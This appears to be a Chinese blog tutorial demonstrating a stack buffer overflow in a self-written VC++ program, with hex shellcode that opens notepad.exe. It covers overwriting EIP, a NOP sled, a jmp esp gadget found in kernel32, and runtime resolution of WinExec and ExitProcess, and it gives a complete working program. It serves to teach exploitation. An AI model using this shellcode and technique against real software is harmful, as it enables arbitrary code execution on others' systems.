• 缓冲区溢出漏洞实例(打开记事本)


    实验目标:使用VC++ 6.0编写shellcode.cpp,用memcpy函数构造缓冲区溢出;并构造shellcode数组,数组的内容为覆盖掉返回地址EIP后,去打开notepad.exe。

    1.首先完成主函数的编写:

    void test()
    {
        char buffer[10];
        memcpy( buffer, shellcode, sizeof(shellcode) );
    }
    void main()
    {
        test();
    }
    

    主函数只调用test()函数,test()函数用memcpy函数造成缓冲区溢出,即大数据往小空间上拷贝。接下来编写shellcode,只要shellcode的大小超过10,返回地址EIP就会被覆盖掉,转向攻击代码,也就是打开notepad.exe。

    2.编写shellcode:

    shellcode是指能完成特殊任务的自包含的二进制代码,根据不同的任务可能是发出一条系统调用或建立一个高权限的shell,shellcode因此而得名。

    在本次实验中,shellcode的任务是打开noteped.exe。所以需要利用OllyICE工具来编写构造二进制代码:

    接下来以二进制的形式复制该段代码:

    替换成十六进制的形式,构成shellcode数组:

    char shellcode[] = {
    0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
    0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
    0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
    0x81,0x7C,0xFF,0xD0
    };
    

    然后编译程序,执行后会报错,需要使用OllyICE进行调试:

    找到memcpy函数,在离它最近的retn即为要寻找的返回地址EIP,下一个断点。F9跳转到该地址执行,观察堆栈区:

    现在情况就是发生了溢出,没有控制好溢出后的函数返回地址,让其进入了一个不能读写的地址上去执行,所以报错。

    唯一的办法就是去耐心的反复调试。本次调试前,请先加上一组0x90(对应nop,即空操作),如下:

    char shellcode[] = {
    
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
    0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
    0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
    0x81,0x7C,0xFF,0xD0
    
    };
    

    继续调试,观察堆栈区情况,返回地址为0x90909090,需要改写该地址才能让程序进入shellcode区执行。

    通过精心计算,返回地址可以填写0012FF34,因为函数返回跳转到0012FF34上去执行,是一串空操作,但之后就会进入我们写的打开记事本的shellcode区。

    shellcode第一个有效字符为64,它之前有10个90,然后就是返回地址。改写情况如下:

    char shellcode[] = {
    
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x34,0xFF,0x12,0x00,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
    0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
    0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
    0x81,0x7C,0xFF,0xD0
    
    };
    

    运行:

    如果本机报错,可继续用上面的方法进行调试。

    3.通用性改进:

    这样编写的exe只能在该系统上运行,如果换台机器,堆栈区不一定是0012FF34后布置攻击代码。为了增强通用性,就是我们要解决的第一个问题,0012FF34不能硬编码写死。

    用OllyICE工具调试,跳转到0012FF34,观察寄存器区,函数返回前后ESP指针的情况,如图所示:

    观察后发现函数调用返回后栈顶指针的内容恰好为0012FF34,所以如果想进入到该地址执行,最后是用一条指令替代硬编码地址,jmp esp指令可以解决该问题。jmp esp指令对应的二进制码为FFE4,为了程序通用性,最好在系统必要的动态链接库中去找(如kernel32),点击OllyIce上方的M图标进入内存区域,在kernel32.dll查找FFE4:

    找到7FFA4512地址下存有FFE4,所有可以用该地址替换掉0012FF34,替换情况如下:

    char shellcode[] = {
    
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x12,0x45,0xFA,0x7F,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
    0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
    0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
    0x81,0x7C,0xFF,0xD0
    
    };
    

    这样改写后,如果均为XP操作,该EXE均能打开notepad。

    如果是不同版本的操作系统,程序的通用性还需要进一步改进,主要问题在于还有其他的硬编码地址需要动态获取。shellcode区域里的0x7C8623AD为WinExec在XP下的函数地址,0x7C81CAFA为ExitProcess的函数地址,并且0x7FFA4512地址在高版本操作系统下也不一定对应FFE4这一条指令。

    为了解决这个问题,可以利用LoadLibrary和GetProcAddress函数进行联合调用,获取API函数地址,然后把该地址反填回shellcode。

    DWORD a1 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"WinExec");
    DWORD a2 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"ExitProcess");
    *(DWORD*)(shellcode+49) = a1; /*根据自己的实际情况填写*/
    *(DWORD*)(shellcode+58) = a2;
    

    找到后把地址回填到shellcode对应的位置上:

    DOWRD base = 0x00400000;
    while ( 1 )
    {
        if( *(WORD *)base == 0xe4ff )
               break;
        base ++;
    }
    *( DWORD *)&shellcode[16] = base;
    

    三个硬编码地址处理后,程序就可以在多个版本操作系统上正常执行。

    Win10运行结果(注意杀毒软件会杀掉):

    完整代码:

    #include <windows.h>
    
    char shellcode[] = {
    
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x12,0x45,0xFA,0x7F,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
    0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
    0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
    0x81,0x7C,0xFF,0xD0
    
    };
    
    void test()
    {
        char buffer[10];
        memcpy( buffer, shellcode, sizeof(shellcode) );
    }
    void main()
    {
    	DWORD base = 0x00400000; /*imagebase*/
    
    	while ( 1 )
    	{
    		if( *(WORD *)base == 0xe4ff )
                 break;
    		base ++;
    	}
    	*( DWORD *)&shellcode[16] = base;
    
    	DWORD a1 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"WinExec");
    	DWORD a2 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"ExitProcess");
    	*(DWORD*)(shellcode+49) = a1; /*根据自己的实际情况填写*//*WinExec函数地址对应的位置*/
    	*(DWORD*)(shellcode+58) = a2; /*ExitProcess函数地址对应的位置*/
    
            test();
    }
    
  • 相关阅读:
    python学习笔记
    win10优化设置
    jpa基本用法
    5_方法(函数)、参数传递
    12_文件基本权限
    10_管理用户和组
    9_用户和组的相关配置文件
    7_vim 编辑器使用技巧
    8_Xmanager 远程连接 Linux 系统工具使用方法
    5_Linux系统目录结构,相对/绝对路径
  • 原文地址:https://www.cnblogs.com/Son01/p/13180472.html
Copyright © 2020-2023  润新知